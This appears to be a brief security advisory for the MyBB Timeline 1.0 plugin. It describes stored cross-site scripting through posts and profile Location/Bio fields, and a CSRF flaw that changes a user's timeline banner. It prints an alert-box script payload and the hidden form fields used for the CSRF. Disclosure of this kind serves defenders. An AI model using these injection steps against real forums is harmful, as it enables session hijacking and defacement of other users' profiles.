MyBB Timeline Plugin 1.0 – Cross-Site Scripting / CSRF

MyBB Timeline replaces the default MyBB user profile. This introduces cross-site scripting on user profiles & a CSRF that allows for the users timeline banner/image to be changed. Proof of Concept: XSS via Thread/Post: Make a new thread or reply to an existing thread and input a payload in either the thread title or main post itself. XSS via Location/Bio: Go to User CP -> Edit Profile and input a payload in the Location/Bio. CSRF: A form with an input field for the image URL and a hidden input field for the action.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the application.

- Go to User CP -> Edit Profile
- Input a payload in the Location/Bio   <script>alert('XSS')</script>
Payload will execute when visiting your profile.

	<input type="text" name="coverpic" placeholder="Add Image URL" required="">
	<input type="hidden" name="do_coverpic" value="change">
